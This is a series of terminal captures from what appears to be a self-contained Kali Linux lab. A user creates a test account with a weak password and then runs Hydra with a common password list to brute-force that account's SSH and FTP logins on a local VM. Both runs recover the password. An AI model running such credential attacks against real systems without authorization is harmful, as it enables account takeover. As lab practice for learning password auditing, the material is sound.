

```
kali@kali: ~  
└─$ sudo adduser test_user  
[sudo] password for kali:  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1001) ...  
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
    Full Name []:  
    Room Number []:  
    Work Phone []:  
    Home Phone []:  
    Other []:  
Is the information correct? [Y/n]  
info: Adding new user `test_user' to supplemental / extra groups `users' ...  
info: Adding user `test_user' to group `users' ...  
  
└─(kali@kali)-[~]  
└─$
```

```
└─(kali@kali)-[~]  
└─$ ssh test_user@192.168.50.104  
The authenticity of host '192.168.50.104 (192.168.50.104)' can't be established.  
ED25519 key fingerprint is SHA256:H5fDDpLXNf/zn1cqIJYDTVE+pPf9jJPKWyNtnZ3feik.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.50.104' (ED25519) to the list of known hosts  
.  
test_user@192.168.50.104's password:  
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
└─(test_user@kali)-[~]  
└─$
```

```
kali@kali: ~
kali@kali: ~ test_user@kali: /home/kali

(kali@kali)-[~]
$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-pass
words-1000.txt 10.0.2.15 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 13:29:
50
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1001 login tries (l:1/p:1001),
~251 tries per task
[DATA] attacking ssh://10.0.2.15:22/
[22][ssh] host: 10.0.2.15 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete u
ntil end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 13:30:
05

(kali@kali)-[~]
$
```

```
kali@kali: ~
kali@kali: ~ test_user@kali: /home/kali

update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-3) ...
Processing triggers for kali-menu (2023.4.3) ...

(kali@kali)-[~]
$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-pass
words-1000.txt 10.0.2.15 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
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ding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 13:33:
34
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1001 login tries (l:1/p:1001),
~251 tries per task
[DATA] attacking ftp://10.0.2.15:21/
[21][ftp] host: 10.0.2.15 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 13:33:
47

(kali@kali)-[~]
$
```